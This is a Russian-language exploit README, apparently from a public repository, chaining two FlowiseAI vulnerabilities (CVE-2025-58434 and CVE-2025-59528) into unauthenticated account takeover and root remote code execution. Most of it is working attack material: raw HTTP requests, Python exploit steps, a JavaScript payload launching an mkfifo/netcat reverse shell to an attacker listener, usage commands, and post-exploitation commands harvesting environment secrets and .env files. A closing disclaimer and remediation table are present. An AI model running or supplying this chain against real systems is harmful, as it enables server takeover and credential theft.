
Критическая неаутентифицированная цепочка атак, приводящая к полному удаленному выполнению кода в FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Неаутентифицированный захват аккаунта в связке с удалённым выполнением кода против FlowiseAI
<= 3.0.5. Полная компрометация контейнера менее чем за 5 секунд, без каких-либо учётных данных.
Слева: страница входа FlowiseAI — Справа: root shell через CVE-2025-59528 · uid=0(root)
Этот эксплойт объединяет две независимые критические уязвимости в одну полностью автоматизированную атаку. Ни одна из уязвимостей по отдельности не гарантирует полной компрометации, но вместе они образуют законченную цепочку атак — от отсутствия учётных данных до root shell внутри Docker-контейнера.
[Нет учётных данных]
│
▼
① Использование forgot-password endpoint (без аутентификации)
│ → Сервер отвечает токеном сброса жертвы в открытом виде
▼
② Отправка токена на reset-password endpoint
│ → Атакующий устанавливает пароль администратора
▼
③ Вход + получение Bearer API ключа
│ → Полная аутентифицированная сессия установлена
▼
④ Отправка JavaScript payload через customMCP node
│ → Сервер выполняет его через конструктор Function()
▼
[Root shell внутри Docker контейнера]
Что делает атаку интерактивной с нулевым взаимодействием: на протяжении всей атаки жертва не получает ни письма, ни уведомления о входе, ни какого-либо видимого события. Всё происходит на стороне сервера.
CVSS 3.1: 9.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5 (облачные + развёрнутые самостоятельно)
Рекомендация по безопасности: GHSA-wgpv-6j63-x5ph
В FlowiseAI существует концепция «внутренних» запросов — вызовов API между собственными сервисами, идентифицируемых HTTP-заголовком x-request-from: internal. Endpoint /api/v1/account/forgot-password использует этот заголовок, чтобы полностью пропустить аутентификацию и вернуть более развёрнутый ответ, чем для внешних вызывающих.
Проблема: этот заголовок никак не проверяется и не ограничивается. Любой атакующий из интернета может его отправить. Вместо того чтобы отправить письмо для сброса пароля, API возвращает полную запись пользователя — включая действующий tempToken, который можно немедленно использовать для установки нового пароля.
Обычно процедура сброса пароля выглядит так:
Пользователь запрашивает сброс → Сервер генерирует токен → Токен отправлен по EMAIL → Пользователь переходит по ссылке → Пароль изменён
В данном случае сервер пропускает этап отправки email и помещает токен непосредственно в тело HTTP-ответа. Атакующий перехватывает его и сразу переходит к шагу сброса — без доступа к почте.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — раскрыта полная запись пользователя{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Затем tempToken отправляется непосредственно на endpoint сброса — без взаимодействия с email, без CAPTCHA, без ограничения скорости запросов.

CVSS 3.1: 10.0 Критический — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5
Рекомендация по безопасности: GHSA-3gcm-f6qx-ff7p
FlowiseAI позволяет пользователям определять пользовательские MCP (Model Context Protocol) узлы с конфигурацией сервера, передаваемой в виде JSON-строки. Внутренне платформа должна разобрать эту конфигурацию — и делает это с помощью JavaScript-конструктора Function(), который функционально эквивалентен eval().
Строка конфигурации попадает в сток абсолютно нефильтрованной:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — строка 262
const result = Function('return ' + mcpServerConfig)();
// ↑ нефильтрованные пользовательские входные данные — произвольное выполнение JS
Function() так же опасен, как eval()Function('return ' + code)() делает следующее:
code в качестве телаЭто даёт атакующему полный контекст выполнения JavaScript с доступом к process, require, child_process и всей среде выполнения Node.js — это не песочница.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← строка, контролируемая атакующим
└─ substituteVariablesInString() ← без фильтрации, передаётся насквозь
└─ convertToValidJSONString() ← без фильтрации, передаётся насквозь
└─ Function('return ' + input)() ← здесь выполняется произвольный код
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Почему
mkfifo, а не/dev/tcp?
Контейнер использует/bin/sh, а не/bin/bash./dev/tcp— это функция, специфичная для bash; она отсутствует в стандартных POSIX-оболочках.mkfifoсоздаёт именованный канал, работающий в любой POSIX-совместимой оболочке, что делает реверс-шелл переносимым между различными контейнерными средами.
Эксплойт состоит из четырёх последовательных шагов, каждый из которых соответствует одной фазе цепочки атак.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
Что происходит: Сервер считает, что это внутренний вызов между сервисами, из-за заголовка x-request-from: internal. Он пропускает стандартный путь отправки email и возвращает полную запись пользователя — включая действующий токен сброса пароля — непосредственно в теле HTTP-ответа 201.
Почему это работает: Проверка заголовка является чисто строковой, без криптографической верификации. Любой вызывающий может установить этот заголовок. Бэкенд не проверяет источник запроса.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
Что происходит: Похищенный tempToken отправляется вместе с новым паролем, выбранным атакующим. Сервер проверяет токен (он действителен и активен), подтверждает совпадение email и обновляет хеш учётных данных — без подтверждения по email, без дополнительной проверки.
Почему это работает: Валидация токена проверяет только то, что токен существует и не истёк. Она не проверяет, что тот, кто сгенерировал токен, является тем же, кто отправляет сброс. Владение токеном никогда не подтверждается.
# Вход с новым паролем
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Получение Bearer API ключа, необходимого для RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
Что происходит: Обычный вход с новым паролем атакующего устанавливает полноценную административную сессию (на основе cookie). Затем сессия используется для получения API-ключа платформы по умолчанию, который требуется для аутентификации запросов к endpoint node-load-method, используемому на шаге 4.
Почему это работает: На этом этапе атакующий И ЕСТЬ администратор — он владеет учётными данными. Сессия и API-ключ легитимно выданы сервером.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
Что происходит: Payload представляет собой самовызывающуюся JavaScript-функцию (IIFE), замаскированную под JSON-совместимый объект. Когда convertToValidJSONString() обрабатывает его, значение попадает внутрь Function('return ' + input)() — и выполняет его как живой JavaScript с полным доступом к среде выполнения Node.js. child_process.exec() запускает команду реверс-шелла, устанавливая соединение обратно с прослушивателем атакующего.
Почему обёртка IIFE? Шаблон Function('return ' + x) ожидает, что выражение может быть возвращено. Обёртывание вредоносного кода в ({x: (function(){ ... })()}) делает всё выражение допустимым JavaScript, который вычисляется в объект — удовлетворяя парсеру, при этом исполняя payload как побочный эффект.
Почему nohup + disown? HTTP-запрос имеет тайм-аут. Без отсоединения процесса оболочка умрёт, когда запрос истечёт. nohup + disown отсоединяет реверс-шелл от процесса Node.js, сохраняя его живым независимо.
# 1. Сначала запустите свой прослушиватель
nc -lvnp 4444
# 2. Запустите полную цепочку атак
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. Если пароль администратора уже был сброшен в предыдущей попытке
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
После получения оболочки контейнер обычно запускается от root с доступом ко всей среде приложения FlowiseAI:
# Секреты и учётные данные
env # API ключи, URI баз данных, сервисные учётные данные в переменных окружения
cat .env # Файл конфигурации FlowiseAI — пароли баз данных, JWT секреты
# Внутренности приложения
ls /app/packages/ # Структура монорепозитория — исходный код, конфиги, node_modules
cat /app/packages/server/.env
# Контекст контейнера
cat /proc/1/cmdline # Какой процесс является PID 1 — подтверждает окружение контейнера
hostname # ID контейнера
cat /etc/hosts # Карта внутренней сети — другие доступные сервисы
# Кандидаты для латерального перемещения
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Этот репозиторий и весь сопутствующий код публикуются строго для образовательных целей и разрешённых исследований безопасности.
Обе уязвимости публично раскрыты и исправлены начиная с FlowiseAI 3.0.6. Тестирование против систем, которыми вы не владеете или на которые у вас нет явного письменного разрешения на оценку, является незаконным в соответствии с применимым законодательством — включая, но не ограничиваясь, Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), Законом о неправомерном использовании компьютеров (Computer Misuse Act) и Директивой ЕС NIS2.
Авторы не несут ответственности за любой ущерб, возникший в результате неправомерного использования этого материала.
0H4K3D · CVE Team
| Свойство | Подробности |
|---|
| Не требуется учётных данных | Атакующий начинает с одним лишь IP-адресом цели |
| Нулевое взаимодействие с жертвой | Ни фишинга, ни кликов, ни социальной инженерии |
| Нет ограничения скорости запросов | Endpoint сброса не имеет троттлинга — возможен брутфорс при необходимости |
| Нет CAPTCHA | В процедуре сброса отсутствует проверка на человека |
| Нет подтверждения по email | Смена пароля происходит мгновенно, бесшумно, необратимо |
| Полная среда выполнения Node.js при RCE | child_process, файловая система, сеть — не песочница |
| Запускается от root в Docker | Контейнер обычно запускается от root, полный доступ к файловой системе |
| Затрагивает облачные и самостоятельные развёртывания | Любая установка <= 3.0.5 уязвима |
| Флаг | Описание | Обязательный |
|---|
-ip | IP-адрес цели | ✅ |
-lhost | Ваш IP для обратного вызова реверс-шелла | ✅ |
-lport | Ваш порт прослушивания | ✅ |
--skipreset | Пропустить CVE-2025-58434 (фазы 1 и 2) — используйте, если аккаунт уже скомпрометирован | ❌ |
| Исправление | Приоритет |
|---|
Обновиться до FlowiseAI ≥ 3.0.6 | 🔴 Немедленно |
Заблокировать x-request-from: internal на обратном прокси — он никогда не должен приходить из интернета | 🔴 Немедленно |
Ограничить /api/v1/account/* только аутентифицированными сессиями | 🔴 Немедленно |
Очищать mcpServerConfig — никогда не передавать пользовательский ввод в Function() или eval() | 🔴 Немедленно |
| Добавить ограничение скорости запросов и CAPTCHA на все endpoint сброса пароля | 🔴 Немедленно |
| Изолировать экземпляр FlowiseAI от интернета, если публичный доступ не требуется | 🟠 Высокий |
| Запускать контейнер не от root | 🟠 Высокий |
| Включить обнаружение аномалий на endpoint сброса пароля и MCP | 🟡 Средний |
Провести аудит всех endpoint, принимающих x-request-from, и убедиться, что они не могут быть вызваны извне | 🟡 Средний |